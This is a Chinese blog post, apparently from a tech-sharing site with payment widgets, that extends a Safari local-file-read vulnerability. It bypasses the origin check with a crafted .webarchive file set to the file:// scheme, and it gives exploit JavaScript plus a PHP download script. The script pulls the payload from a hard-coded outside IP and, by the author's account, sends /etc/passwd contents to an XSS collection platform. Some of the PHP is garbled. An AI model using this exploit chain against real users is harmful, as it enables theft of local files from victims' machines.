ipad safari php readfile mp4,safari本地文件读取漏洞之扩展攻击面

近几日爆出了safari对本地html文件js处理不当,导致可以读取本地文件

发现漏洞还是比较鸡肋的,因为safari会识别html文件的来源,一般的网络传输都会给加上来源信息,这样safari就不会在xhr使用file读取本地文件。

作者给出了exp以及利用方法:使用u盘等硬媒介传输,或者使用应用层以下的协议传输,比如telegram的文件传输功能。

但是有没有办法抹除或不添加来源信息呢?

1. 可以使用压缩包打包poc文件,这样添加来源头的是压缩文件,而不是内部文件, 就可以直接执行poc。(但是这样显得比较臃肿)

2. 想办法构造与file协议同源。

我们发现其实作者已经提到了一点,但是没有更好的利用到,.webarchive 文件,里面是xml的结构,只能由safari进行解析,其中里面的WebResourceURL属性,safari将其识别为当前资源所使用的协议,也就是我们可以在这里构造‍‍file://

这样就可以绕过对文件源的检测。‍‍‍‍

cdb947169e55fcbf0c016adc1afb97ff.png

本地测试一下,成功x到/etc/passwd的内容。

但是在mac下运行的时候会弹出安全提示,而且这个后缀名不是很常见,有没有更好的办法呢?

经过测试发现刚下载好的.webarchive 文件,在safari用file协议直接打开是可以运行的,而且没有安全提示。

于是思路就有了:

构造一个html文件,首先在远程服务器下载webarchive文件,利用js location跳转到该文件,即可执行poc。(有缺点:webarchive文件绝对路径因为用户名的关系不固定,但是如果使用mac一般都是下载到同一个文件里,用相对路径即可)

js文件:

function myBrowser(){

var userAgent = navigator.userAgent;

var isOpera = userAgent.indexOf("Opera") > -1;

if (isOpera) {

return "Opera"

};

if (userAgent.indexOf("Firefox") > -1) {

return "FF";

}

if (userAgent.indexOf("Chrome") > -1){

return "Chrome";

}

if (userAgent.indexOf("Safari") > -1) {

return "Safari";

}

if (userAgent.indexOf("compatible") > -1 && userAgent.indexOf("MSIE") > -1 && !isOpera) {

return "IE";

};

}

function exp(){

var iframe2 = document.createElement('iframe');

iframe2.src="./test.webarchive";

document.body.appendChild(iframe2);

// setTimeout("location.reload()",1000);

}

var mb = myBrowser();

if (mb == "Safari") {

var iframe = document.createElement('iframe');

iframe.src="http://123.206.216.198/down.php";

document.body.appendChild(iframe);

setTimeout("exp()",1500);

}

else

{

    document.write('Please use Safari  to open the html file')

}

down.php

function downfile()

{

filename=realpath("test.webarchive");date=date("Ymd-H:i:m");

Header( "Content-type: application/octet-stream ");

Header( "Accept-Ranges: bytes ");

Header( "Accept-Length: " .filesize(filename));  header( "Content-Disposition: attachment; filename= test.webarchive");  readfile(filename);

}

downfile();

?>

最终的html:

test hahaha

d1ba8dda70c70d719a3e50e549f4e864.png

用safari打开后

1a3c8a7978c5abccd8ff1636fe2157ee.png

看一下xss平台:

892eb1c21e9379ca1c3523f685487128.png

直接x到了,xd 🙂

提供个html下载地址:

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值